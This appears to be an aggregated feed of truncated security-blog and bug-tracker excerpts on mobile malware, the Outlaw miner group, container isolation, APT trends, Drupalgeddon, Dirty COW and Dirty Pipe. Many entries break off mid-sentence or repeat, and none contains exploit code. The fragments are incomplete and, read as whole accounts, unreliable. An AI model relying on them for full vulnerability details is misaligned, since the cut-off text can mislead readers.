Trends of the year
Attacks on personal data: stalkerware
Attacks on personal data: advertising apps
Attacks on personal data: exploiting access to Accessibility
Mobile Trojans on popular marketplaces: Google Play
Statistics
Types of mobile threats
Top 20 mobile malware programs
Mobile banking Trojans
Mobile ransomware Trojans
Conclusion
Authors
Victor Chebyshev
These statistics are based on detection verdicts of Kaspersky products received from users who consented to provide statistical data.
## Figures of the year
In 2019, Kaspersky mobile products and technologies detected:
3,503,952 malicious installation packages.
69,777 new mobile banking Trojans.
68,362 new mobile ransomware Trojans.
## Trends of the year
In summing up 2019,
Trendmicro
Outlaw Updates: Kill Old Miner Versions, Target More
blogs_trendmicro·2020-02-10
Outlaw Updates: Kill Old Miner Versions, Target More
APT & Targeted Attacks
# Outlaw Updates: Kill Old Miner Versions, Target More
We observed an increase in hacking group Outlaw's activities in December, with updates on the kits’ capabilities reminiscent of their previous attacks.
By: Jindrich Karasek, Augusto Remillano II
2020/02/10
Read time: ( words)
Save to Folio
As we’ve observed with cybercriminal groups that aim to maximize profits for every campaign, silence doesn’t necessarily mean inactivity. It appears hacking group Outlaw, which has been silent for the past few months, was simply developing their toolkit for illicit income sources. While they have been quiet since our June analysis, we observed an increase in the group’s activities in December, with updates on the kits’ capabilities reminiscent of their previous attacks. T
Unit42
Making Containers More Isolated: An Overview of Sandboxed Container Technologies
blogs_unit42·2019-06-06
Making Containers More Isolated: An Overview of Sandboxed Container Technologies
Threat Research Center
Threat Research
Cloud Cybersecurity Research
## Making Containers More Isolated: An Overview of Sandboxed Container Technologies
Jay Chen
Published: June 6, 2019
Cloud Cybersecurity Research
Learning Hub
Threat Research
Containers
Docker
Kubernetes
LXC
Public cloud
Rkt
Executive Summary
While the majority of the IT industry is in the midst of adopting container-based infrastructure (cloud-native solution), it is imperative to understand the technology’s limitations. Traditional containers such as Docker, Linux Containers (LXC), and Rocket (rkt) are not truly sandboxed as they share the host OS kernel. They are resource-efficient, but the attack surface and the potential impact of a breach are still large, especially in a multi-tenant cloud environme
Unit42
Making Containers More Isolated: An Overview of Sandboxed Container Technologies
blogs_unit42·2019-06-06
Making Containers More Isolated: An Overview of Sandboxed Container Technologies
Executive Summary
While the majority of the IT industry is in the midst of adopting container-based infrastructure (cloud-native solution), it is imperative to understand the technology’s limitations. Traditional containers such as Docker, Linux Containers (LXC), and Rocket (rkt) are not truly sandboxed as they share the host OS kernel. They are resource-efficient, but the attack surface and the potential impact of a breach are still large, especially in a multi-tenant cloud environment that co-locate containers belonging to different customers. The root of the problem is the weak separation between containers when the host OS creates a virtualized userland for each container. There has been research and development focusing on designing truly sandboxed containers. Most of the solutions r
Securelist
APT trends report Q1 2019
blogs_securelist·2019-04-30
APT trends report Q1 2019
Authors
GReAT
For just under two years, the Global Research and Analysis Team (GReAT) at Kaspersky Lab has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They aim to highlight the significant events and findings that we feel people should be aware of.
This is our latest installment, focusing on activities that we observed during Q1 2019.
Readers who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact ‘[email protected]’.
## The most remarkable finding
Targeting supply-chains has pro
Securelist
APT trends report Q1 2019
blogs_securelist·2019-04-30
APT trends report Q1 2019
Authors
- GReAT
For just under two years, the Global Research and Analysis Team (GReAT) at Kaspersky Lab has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They aim to highlight the significant events and findings that we feel people should be aware of.
This is our latest installment, focusing on activities that we observed during Q1 2019.
Readers who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact ‘[email protected]’.
## The most remarkable finding
Targeting supply-chains has p
Tenable
Drupalgeddon Attacks Continue on Sites Missing Security Updates (CVE-2018-7600, CVE-2018-7602)
blogs_tenable·2018-11-20·CVSS 9.8
[CRITICAL] Drupalgeddon Attacks Continue on Sites Missing Security Updates (CVE-2018-7600, CVE-2018-7602)
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Tenable
Drupalgeddon Attacks Continue on Sites Missing Security Updates (CVE-2018-7600, CVE-2018-7602)
blogs_tenable·2018-11-20·CVSS 7.0
CVE-2018-7600 [HIGH] Drupalgeddon Attacks Continue on Sites Missing Security Updates (CVE-2018-7600, CVE-2018-7602)
Blog / Cyber Exposure Alerts
Subscribe
# Drupalgeddon Attacks Continue on Sites Missing Security Updates (CVE-2018-7600, CVE-2018-7602)
Satnam Narang
November 20, 2018
2 Min Read
Recent attacks targeting Drupal instances vulnerable to Drupalgeddon 2 and Drupalgeddon 3 highlight the importance of identifying and patching vulnerable sites.
#### Background
In March 2018, Drupal published a security advisory, SA-CORE-2018-002 that addressed a critical Remote Code Execution (RCE) vulnerability with a CVE identifier of CVE-2018-7600. Tenable’s Security Response Team published a blog as well.
A few weeks after the publication of this security advisory, researchers at Check Point Software Technologies and Dofinity published “Uncovering Drupalgeddon 2.0,” providing technical details about C
Trendmicro
ZNIU: First Android Malware to Exploit Dirty COW
blogs_trendmicro·2017-09-25·CVSS 7.0
[HIGH] ZNIU: First Android Malware to Exploit Dirty COW
Malware
## ZNIU: First Android Malware to Exploit Dirty COW
Dirty COW attacks on Android have been inactive since its discovery but almost a year later, we obtained samples of ZNIU—the first malware family to exploit the vulnerability on the Android platform.
By: Jason Gu, Veo Zhang, Seven Shen Sep 25, 2017 Read time: ( words)
Save to Folio
Updated as of 27/09/2017, 2:30 AM PDT.
We have disclosed this security issue to Google, who verified that they have protections in place against ZNIU courtesy of Google Play Protect.
The Linux vulnerability called Dirty COW (CVE-2016-5195) was first disclosed to the public in 2016. The vulnerability was discovered in upstream Linux platforms such as Redhat, and Android, which kernel is based on Linux. It was categorised as a serious privilege esc
Trendmicro
ZNIU: First Android Malware to Exploit Dirty COW
blogs_trendmicro·2017-09-25·CVSS 7.0
[HIGH] ZNIU: First Android Malware to Exploit Dirty COW
Malware
## ZNIU: First Android Malware to Exploit Dirty COW
Dirty COW attacks on Android has been silent since its discovery but almost a year later, we captured samples of ZNIU—the first malware family to exploit the vulnerability on the Android platform.
By: Jason Gu, Veo Zhang, Seven Shen Sep 25, 2017 Read time: ( words)
Save to Folio
Updated as of September 27, 2017, 2:30 AM PDT.
We have disclosed this security issue to Google, who verified that they have protections in place against ZNIU courtesy of Google Play Protect.
The Linux vulnerability called Dirty COW (CVE-2016-5195) was first disclosed to the public in 2016. The vulnerability was discovered in upstream Linux platforms such as Redhat, and Android, which kernel is based on Linux. It was categorized as a serious privileg
Trendmicro
ZNIU: First Android Malware to Exploit Dirty COW
blogs_trendmicro·2017-09-25·CVSS 7.0
[HIGH] ZNIU: First Android Malware to Exploit Dirty COW
Malware
# ZNIU: First Android Malware to Exploit Dirty COW
Dirty COW attacks on Android has been silent since its discovery but almost a year later, we captured samples of ZNIU—the first malware family to exploit the vulnerability on the Android platform.
By: Jason Gu, Veo Zhang, Seven Shen
2017/09/25
Read time: ( words)
Save to Folio
Updated as of September 27, 2017, 2:30 AM PDT.
We have disclosed this security issue to Google, who verified that they have protections in place against ZNIU courtesy of Google Play Protect.
The Linux vulnerability called Dirty COW (CVE-2016-5195) was first disclosed to the public in 2016. The vulnerability was discovered in upstream Linux platforms such as Redhat, and Android, which kernel is based on Linux. It was categorized as a serious privilege
Trendmicro
ZNIU: First Android Malware to Exploit Dirty COW
blogs_trendmicro·2017-09-25·CVSS 7.0
[HIGH] ZNIU: First Android Malware to Exploit Dirty COW
Malware
## ZNIU: First Android Malware to Exploit Dirty COW
Dirty COW attacks on Android has been silent since its discovery but almost a year later, we captured samples of ZNIU—the first malware family to exploit the vulnerability on the Android platform.
By: Jason Gu, Veo Zhang, Seven Shen 2017/09/25 Read time: ( words)
Save to Folio
Updated as of September 27, 2017, 2:30 AM PDT.
We have disclosed this security issue to Google, who verified that they have protections in place against ZNIU courtesy of Google Play Protect.
The Linux vulnerability called Dirty COW (CVE-2016-5195) was first disclosed to the public in 2016. The vulnerability was discovered in upstream Linux platforms such as Redhat, and Android, which kernel is based on Linux. It was categorized as a serious privilege
Recorded Future
China vs. U.S.: The Race in Vulnerability Reporting | Recorded Future
blogs_recorded_future
China vs. U.S.: The Race in Vulnerability Reporting | Recorded Future
## The Dragon Is Winning: U.S. Lags Behind Chinese Vulnerability Reporting
Click here to download this article as a PDF .
## Key Takeaways
Organizations need access to the latest vulnerability (CVE) information to manage their exposure to risk.
The U.S. National Vulnerability Database (NVD) trails China’s National Vulnerability Database (CNNVD) in average time between initial disclosure and database inclusion (33 days versus 13 days) — China isn’t directly integrated in managing CVEs, but are still able to report vulnerabilities more rapidly than the U.S.
CNNVD actively gathers vulnerability information across the web. NVD should do this but instead waits for voluntary submission by vendors.
NVD’s mission should aim to be truly comprehensive, and the U.S. could improve by simply inco
Recorded Future
China vs. U.S.: The Race in Vulnerability Reporting
blogs_recorded_future
China vs. U.S.: The Race in Vulnerability Reporting
# The Dragon Is Winning: U.S. Lags Behind Chinese Vulnerability Reporting
Click here to download this article as a PDF.
### Key Takeaways
- Organizations need access to the latest vulnerability (CVE) information to manage their exposure to risk.
- The U.S. National Vulnerability Database (NVD) trails China’s National Vulnerability Database (CNNVD) in average time between initial disclosure and database inclusion (33 days versus 13 days) — China isn’t directly integrated in managing CVEs, but are still able to report vulnerabilities more rapidly than the U.S.
- CNNVD actively gathers vulnerability information across the web. NVD should do this but instead waits for voluntary submission by vendors.
- NVD’s mission should aim to be truly comprehensive, and the U.S. could improve by simply
Recorded Future
The Race Between Security Professionals and Adversaries | Recorded Future
blogs_recorded_future
The Race Between Security Professionals and Adversaries | Recorded Future
## The Race Between Security Professionals and Adversaries
We examined vulnerabilities between first disclosure and release on the National Vulnerability Database (NVD) to understand timelines of the security community and threat actors.
## Key Takeaways
75% of vulnerabilities are disclosed prior to NVD release with a median of seven days prior notice. This median gap is increasing, complicating the ability of vulnerability management teams to stay current and, with increasing gaps, the situation is worsening.
Over 1,500 sources reported over 114,000 times on vulnerabilities prior to release, including community intelligence and adversary intelligence sources on the deep and dark web.
Higher severity vulnerabilities have shorter release lags as more effort is put into communicating an
Recorded Future
Vulnerability Spotlight: Dirty Pipe | Recorded Future
blogs_recorded_future·CVSS 7.8
CVE-2022-0847 [HIGH] Vulnerability Spotlight: Dirty Pipe | Recorded Future
## Vulnerability Spotlight: Dirty Pipe
This report provides an overview, technical analysis, and mitigations for CVE-2022-0847. Sources include the Recorded Future® Platform, GitHub, and open-source reporting. The intended audience for this report is defenders and analysts who are interested in how CVE-2022-0847 exploits work, as well as current mitigations that can be employed.
## Executive Summary
CVE-2022-0847 (Dirty Pipe) is a Linux kernel vulnerability that was disclosed in early March 2022. The vulnerability was introduced in Linux kernel version 5.8 and allows for local privilege escalation via arbitrary file overwrites. An example proof-of-concept (POC) exploit was released with the disclosure, and since then several other POCs have been published on GitHub. The public exploits
Recorded Future
Vulnerability Spotlight: Dirty Pipe
blogs_recorded_future·CVSS 7.8
CVE-2022-0847 [HIGH] Vulnerability Spotlight: Dirty Pipe
# Vulnerability Spotlight: Dirty Pipe
Editor’s Note: The following post is an excerpt of a full report. To read the entire analysis, click here to download the report as a PDF.
This report provides an overview, technical analysis, and mitigations for CVE-2022-0847. Sources include the Recorded Future® Platform, GitHub, and open-source reporting. The intended audience for this report is defenders and analysts who are interested in how CVE-2022-0847 exploits work, as well as current mitigations that can be employed.
### Executive Summary
CVE-2022-0847 (Dirty Pipe) is a Linux kernel vulnerability that was disclosed in early March 2022. The vulnerability was introduced in Linux kernel version 5.8 and allows for local privilege escalation via arbitrary file overwrites. An example proof-of-c
Recorded Future
The Race Between Security Professionals and Adversaries
blogs_recorded_future
The Race Between Security Professionals and Adversaries
# The Race Between Security Professionals and Adversaries
We examined vulnerabilities between first disclosure and release on the National Vulnerability Database (NVD) to understand timelines of the security community and threat actors.
### Key Takeaways
- 75% of vulnerabilities are disclosed prior to NVD release with a median of seven days prior notice. This median gap is increasing, complicating the ability of vulnerability management teams to stay current and, with increasing gaps, the situation is worsening.
- Over 1,500 sources reported over 114,000 times on vulnerabilities prior to release, including community intelligence and adversary intelligence sources on the deep and dark web.
- Higher severity vulnerabilities have shorter release lags as more effort is put into communicatin
Bugzilla
CVE-2022-50014 kernel: mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
bugzilla·2025-06-18·CVSS 7.0
CVE-2022-50014 [HIGH] CVE-2022-50014 kernel: mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
CVE-2022-50014 kernel: mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
In the Linux kernel, the following vulnerability has been resolved:
mm/gup: fix FOLL_FORCE COW security issue and remove FOLL_COW
Ever since the Dirty COW (CVE-2016-5195) security issue happened, we know
that FOLL_FORCE can be possibly dangerous, especially if there are races
that can be exploited by user space.
Right now, it would be sufficient to have some code that sets a PTE of a
R/O-mapped shared page dirty, in order for it to erroneously become
writable by FOLL_FORCE. The implications of setting a write-protected PTE
dirty might not be immediately obvious to everyone.
And in fact ever since commit 9ae0f87d009c ("mm/shmem: unconditionally set
pte dirty in mfill_atomic_install_pte"), we can use UF
Bugzilla
CVE-2017-1000405 kernel: pmd can become dirty without going through a COW cycle
bugzilla·2017-11-22·CVSS 7.0
CVE-2017-1000405 [HIGH] CVE-2017-1000405 kernel: pmd can become dirty without going through a COW cycle
CVE-2017-1000405 kernel: pmd can become dirty without going through a COW cycle
A flaw was found in the patches used to fix the 'dirtycow' vulnerability CVE-2016-5195). The touch_pmd() function can be accessed by get_user_pages(). In this case, the pmd will become dirty without going through the Copy On Write cycle.
In the simplest example, a large page that is read-only can be modified, including page 0 of a processes virtual address space.
Upstream patch:
https://github.com/torvalds/linux/commit/a8f97366452ed491d13cf1e44241bc0b5740b1f0
Vulnerability announcement:
http://www.openwall.com/lists/oss-security/2017/11/30/1
Discussion:
Acknowledgments:
Name: Eylon Ben Yaakov, Daniel Shapiro
---
Statement:
From the initial flaw description released, this issue does not affect the Lin
Bugzilla
CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage [3.10.0-327.28.2.el7]
bugzilla·2016-10-21·CVSS 7.0
CVE-2016-5195 [HIGH] CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage [3.10.0-327.28.2.el7]
CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage [3.10.0-327.28.2.el7]
*** This bug has been marked as a duplicate of bug 1387738 ***
Bugzilla
CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage [3.10.0-327.28.3.el7]
bugzilla·2016-10-21·CVSS 7.0
CVE-2016-5195 [HIGH] CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage [3.10.0-327.28.3.el7]
CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage [3.10.0-327.28.3.el7]
*** This bug has been marked as a duplicate of bug 1387738 ***
Bugzilla
CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage [fedora-all]
bugzilla·2016-10-20·CVSS 7.0
CVE-2016-5195 [HIGH] CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage [fedora-all]
CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of Fedora.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported v
Bugzilla
CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage
bugzilla·2016-10-13·CVSS 7.0
CVE-2016-5195 [HIGH] CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage
CVE-2016-5195 kernel: mm: privilege escalation via MAP_PRIVATE COW breakage
A race condition was found in the way Linux kernel's memory subsystem
handled breakage of the read only private mappings COW situation on
write access.
An unprivileged local user could use this flaw to gain
write access to otherwise read only memory mappings and thus increase
their privileges on the system.
Red Hat is aware of this issue and if you have questions about the affectedness of your system please contact Red Hat Support. For additional information see https://access.redhat.com/security/vulnerabilities/2706661
Discussion:
Please note that this mitigation disables ptrace functionality which
debuggers and programs that inspect other processes (virus scanners)
use and thus these programs won't be operat
http://fortiguard.com/advisory/FG-IR-16-063http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10770http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10774http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10807http://lists.opensuse.org/opensuse-security-announce/2016-10/msg00034.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00035.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00036.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00038.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00039.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00040.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00045.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00048.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00049.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00050.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00051.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00052.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00053.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00054.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00055.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00056.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00057.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00058.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00063.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00064.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00065.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00066.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00067.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-10/msg00072.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-12/msg00033.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-12/msg00100.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-04/msg00041.htmlhttp://packetstormsecurity.com/files/139277/Kernel-Live-Patch-Security-Notice-LSN-0012-1.htmlhttp://packetstormsecurity.com/files/139286/DirtyCow-Linux-Kernel-Race-Condition.htmlhttp://packetstormsecurity.com/files/139287/DirtyCow-Local-Root-Proof-Of-Concept.htmlhttp://packetstormsecurity.com/files/139922/Linux-Kernel-Dirty-COW-PTRACE_POKEDATA-Privilege-Escalation.htmlhttp://packetstormsecurity.com/files/139923/Linux-Kernel-Dirty-COW-PTRACE_POKEDATA-Privilege-Escalation.htmlhttp://packetstormsecurity.com/files/142151/Kernel-Live-Patch-Security-Notice-LSN-0021-1.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2098.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2105.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2106.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2107.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2110.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2118.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2120.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2124.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2126.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2127.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2128.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2132.htmlhttp://rhn.redhat.com/errata/RHSA-2016-2133.htmlhttp://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161026-linuxhttp://www.debian.org/security/2016/dsa-3696http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20161207-01-dirtycow-enhttp://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.8.3http://www.openwall.com/lists/oss-security/2016/10/21/1http://www.openwall.com/lists/oss-security/2016/10/26/7http://www.openwall.com/lists/oss-security/2016/10/27/13http://www.openwall.com/lists/oss-security/2016/10/30/1http://www.openwall.com/lists/oss-security/2016/11/03/7http://www.openwall.com/lists/oss-security/2022/03/07/1http://www.openwall.com/lists/oss-security/2022/08/08/1http://www.openwall.com/lists/oss-security/2022/08/08/2http://www.openwall.com/lists/oss-security/2022/08/08/7http://www.openwall.com/lists/oss-security/2022/08/08/8http://www.openwall.com/lists/oss-security/2022/08/09/4http://www.openwall.com/lists/oss-security/2022/08/15/1http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.htmlhttp://www.securityfocus.com/archive/1/539611/100/0/threadedhttp://www.securityfocus.com/archive/1/540252/100/0/threadedhttp://www.securityfocus.com/archive/1/540344/100/0/threadedhttp://www.securityfocus.com/archive/1/540736/100/0/threadedhttp://www.securityfocus.com/archive/1/archive/1/539611/100/0/threadedhttp://www.securityfocus.com/archive/1/archive/1/540252/100/0/threadedhttp://www.securityfocus.com/archive/1/archive/1/540344/100/0/threadedhttp://www.securityfocus.com/archive/1/archive/1/540736/100/0/threadedhttp://www.securityfocus.com/bid/93793http://www.securitytracker.com/id/1037078http://www.ubuntu.com/usn/USN-3104-1http://www.ubuntu.com/usn/USN-3104-2http://www.ubuntu.com/usn/USN-3105-1http://www.ubuntu.com/usn/USN-3105-2http://www.ubuntu.com/usn/USN-3106-1http://www.ubuntu.com/usn/USN-3106-2http://www.ubuntu.com/usn/USN-3106-3http://www.ubuntu.com/usn/USN-3106-4http://www.ubuntu.com/usn/USN-3107-1http://www.ubuntu.com/usn/USN-3107-2https://access.redhat.com/errata/RHSA-2017:0372https://access.redhat.com/security/cve/cve-2016-5195https://access.redhat.com/security/vulnerabilities/2706661https://bto.bluecoat.com/security-advisory/sa134https://bugzilla.redhat.com/show_bug.cgi?id=1384344https://bugzilla.suse.com/show_bug.cgi?id=1004418https://dirtycow.ninjahttps://github.com/dirtycow/dirtycow.github.io/wiki/PoCshttps://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetailshttps://github.com/torvalds/linux/commit/19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-c05352241https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbgn03707en_us
+ 154 more references
2016-11-10
Published
2022-03-03
Added to CISA KEV
Exploited in the wild